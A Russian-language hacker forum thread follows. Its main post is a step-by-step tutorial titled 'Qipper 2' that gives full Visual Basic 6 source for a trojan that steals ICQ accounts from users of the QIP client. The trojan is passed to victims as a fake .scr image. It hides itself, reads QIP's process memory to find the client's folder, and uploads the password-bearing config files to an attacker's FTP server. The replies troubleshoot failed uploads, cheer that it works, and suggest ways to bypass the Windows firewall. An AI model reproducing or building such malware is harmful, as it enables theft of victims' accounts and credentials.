~|~евто|-|, заголовок можно настроить через конфиг текстовый файл...через него же и переводят)) непомню навзание тока..у мя даж самопальный перевод был.
А можно сначала сверять класс окна а потом получить заголовок для пусщей убедительности. Тогда переименование не поможет
Qipper 2 В этой статье я опишу как угнать номер ICQ у человека, сидящего через ICQ клиент QIP. Статья расчитанна не только на опытных программистов и новичков, но и на людей, далёких от программирования. итак, приступим: Нам потребуется: 1. Visual basic 6.0 (среда разработки приложений) 2. FTP акаунт 3. Исходники программы [Скачать исходники] http://rapidshare.com/files/78103947/QIPPER__v.rar [Как работает(коротко)] Мы регаем себе FTP*(например на www.nm.ru), получаем логин и пароль. Вписываем их в исходный код троя(qipper), и делаем EXE файл. Впариваем его жертве под видом картинки(предварительно поменяв расширение с .exe на .scr). Жертва запускает и видит перед собой картинку. Смотрит её, закрывает её и забывает.. трой тем временем находит папку с QIP(qip у жертвы должен быть рапущен), ищет все номера, сохранённые там, и отсылает на зареганный нами ранее FTP файлы с зашифрованными в них паролями от найденных номеров. [Как всё сделать] итак, мы скачали архив QIPPER_v2.rar, и у нас есть Visual basic 6.0, но мы не знаем чтто с этим делать. Всё просто. 1. Распаковываем архив и видим там много файлов. нас интересует только Project1.vbp - это файл проекта. 2. Открываем Project1.vbp в Visual Basic 3. Перед нами появляется окно кода. там есть строки: Код: Const Serv As String = "FTP сервер" Const Login As String = "логин" Const Pass As String = "пароль" Вписываем атрибуты зареганного ранее FTP в соответствующие строки(сежду кавычек) Например так: Код: Const Serv As String = "ftp.newmail.ru" Const Login As String = "qipper.nm.ru" Const Pass As String = "123456" с FTP закончили. теперь можно поставить картинку, которую увидит жертва при запуске: 4. Выбираем меню View-->Object. Видим форму, на ней картинка и список файлов, так вот, эту картинку и увидит жертва при запуске. Чтобы её поменять, выдетим её: Теперь в её Properties(свойства) в пункте Picture выберем свою картинку: 5. Осталос сделать EXE файл. Для этого выбираем File --> Make EXE: Переименовываем EXE файл в scr и даём его жертве. Готово! - Рекомендую перед использованием протестить на себе, запусив QIP, а потом сделанного троя. ах, да, чтобы расшифровать пароли присланные троем, используйте QPR: [Как работает(делально)] Тут опишу подробнее как всё работает: проект состоит из 2х обьектов: формы и модуля. в модуле лежат все API функции, используемые троем, в форме - ресурсы и весь рабочий код. код: Код: Option Explicit Const Serv As String = "FTP сервер" Const Login As String = "логин" Const Pass As String = "пароль" Private Sub Form_Load() Dim Adress, F_local, F_remote As String Dim i, ii, n As Integer Dim hINetSession As Long Dim hSession As Long App.TaskVisible = False 'Не отображаемся на таскбаре и списке задач Me.Hide 'Скрываем форму PICTA 'Запускаем программу просмотра изображений и факсов для отображения фотки '////////////// приступаем к делу ///////////////////////////////////// Adress = bugoga 'определяем адрес QIP If Adress = "" Then End 'Если QIP не запущен, то закрываемся '/////////////////// адрес получили. посмотрим какие номерки лежат в папке Users /////////// For i = 1 To Len(Adress) '// If Mid$(Adress, i, 1) = "\" Then n = i '// отрезаем от адреса \qip.exe Next i '// Adress = Mid$(Adress, 1, n - 1) & "\Users" '// Form1.Dir1 = Adress 'указываем обьекту Dir1 путь hINetSession = InternetOpen("MyFTPClient", 0, vbNullString, vbNullString, 0) 'открываем сессию hSession = InternetConnect(hINetSession, Serv, "21", Login, Pass, 1, 0, 0) 'коненектимся For i = 0 To Dir1.ListCount - 1 'проверяем все номерки F_local = Dir1.List(i) & "\" & "Config.ini" 'формируем пути For ii = 1 To Len(Dir1.List(i)) If Mid$(Dir1.List(i), ii, 1) = "\" Then n = ii Next ii F_remote = "Config_" & Mid$(Dir1.List(i), n + 1, Len(Dir1.List(i)) - n) & ".ini" Call FtpPutFile(hSession, F_local, F_remote, 1, 0) 'отсылаем файл Next i Call InternetCloseHandle(hSession) 'дисконектимсо Call InternetCloseHandle(hINetSession) 'закрываем сессию End End Sub Private Function bugoga() '//////////////// версии QIP:7950,7990,7997,7998,8000,8010,8020,8030,8040 //// On Error Resume Next Dim hwind As Long 'дескриптор окна Dim pid As Long 'ID процесса Dim pHandle As Long 'Хендл процесса Dim txt As Byte 'Для записи байт Dim adr As Long 'Адрес Dim i As Integer 'Счётчик Dim Rez As String 'результат adr = "&H1000CBD0" 'Стартовый адрес hwind = FindWindow(vbNullString, "About [qip]") 'Ищем окно If (hwind = 0) Then Exit Function 'Если QIP запущен то всё норм, ес нет, то облом GetWindowThreadProcessId hwind, pid 'получаем Process ID pHandle = OpenProcess(PROCESS_ALL_ACCESS, 0&, pid) 'Отврываем процесс If (pHandle = 0) Then Exit Function 'Если всё норм, то едем далее Do 'цикл ReadProcessMemory pHandle, adr, VarPtr(txt), 1, 0& 'читаем первай байт с адреса Rez = Rez & Chr(txt) 'записываем байт If Len(Rez) > 4 Then 'если уже записали 4 байта If Mid$(Rez, Len(Rez) - 4, 4) = ".exe" Then GoTo 10 'проверим, узнали мы весь путь End If adr = adr + 1 'переходим к следующему адресу Loop '/цикл 10 bugoga = Rez End Function Sub PICTA() Dim windir As String Dim slength As Long Dim kart As String windir = Space(255) slength = GetWindowsDirectory(windir, 255) ' определяем папку с виндой windir = Left(windir, slength) kart = windir & "\" & App.EXEName & ".scr" ' задаём путь для сохраняемой фотки SavePicture Form1.Picture1.Image, kart ' сохраняем фотку Shell windir & "\system32\rundll32 " & windir & "\system32\shimgvw.dll,ImageView_Fullscreen " & kart ' открываем сохранённую фотку Sleep (2000) ' ждём 2 секунды Kill kart 'Удаляем сохранённую фотку End Sub Трой при запуске сохраняет на винт в папку windows картинку с формы. открывает картинку в программе просмотра изображений и факсов. Далее трой ищет окно About [qip] (оно регистрируется при запуске QIP). Если не находит - закрывается, если находит по его дескриптору получает ID процесса QIP, затем открывает пройесс, и начиная с адреса &H1000CBD0 начинает считывать ьайты следующих алресов, пока не наткнётся на последовательность байтов, обозначающих ".exe". найда их завершает считывание и управление процессом. Дело в том, что во всех версиях QIP(не считая qipinfium) по этому адресу в памяти лежит путь к EXE. Итак, путь к папке с QIP найден. теперь трой смотрит все номерки, сохранённые у жертвы и отсылает файлы с паролями на FTP. P.S. Данная статья имеет исключительно ознакомительный характер и её автор не несёт никакой ответственности за возможные последствия
karas, По какой то причине не отсылает пароль. Все компилится без ошибок. В коде ставлю только свои логины и пароли. Почему так?
hexxer0k, Скорее всего неверно вписал FTP серв логин и пасс. Не забудь, что троян успешно сработает, если только запущен QIP(версии 7900-8040). Zoth, Порт может быть какой угодно, 1000, 1033, 1011 и т.д.. главное чтобы этот порт не использовало никакие приложение ни у серва ни у клиента(не ставвь порты 80, 5190)
эээм...господа) звините за откровенную некомпетентность в сей теме...но.. что жертве отсылать? всю папко клиент чтоле?)
ураа , заработало ! :happy: Спасибки огромное автору !!! Всё идёт хорошо ,( всё на FTP, приходит , кроме пароля) чёт пароли он , то ли ненаходит , то ли ... незнаю.. в чём проблема ? :crying:
karkon, 1. ищи "обход брандмауэра windows". видел статейку, нада создать десяток ключей в реестре и брандмауэр молчит 2. юзай QPR http://slil.ru/25065654 пароль на архив - www.xaker.name
karas зачем так усложнять программу поиском окон потом чтением процесса, только для того чтоб узнать путь?.... всё гораздо проще можно реализовать.... Код: Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function GetModuleFileNameExA Lib "psapi.dll" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long Private Const MAX_PATH As Long = 260 Private Sub Command1_Click() Dim Modules(1 To 200) As Long Dim lRet As Long Dim ModuleName As String Dim nSize As Long Dim pHandle As Long pHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, 3532) If (pHandle <> 0) Then ModuleName = Space(MAX_PATH) nSize = 500 lRet = GetModuleFileNameExA(pHandle, Modules(1), ModuleName, nSize) 'Get the EXE Path tmp = Left(ModuleName, lRet) MsgBox ModuleName End If CloseHandle pHandle End Sub например так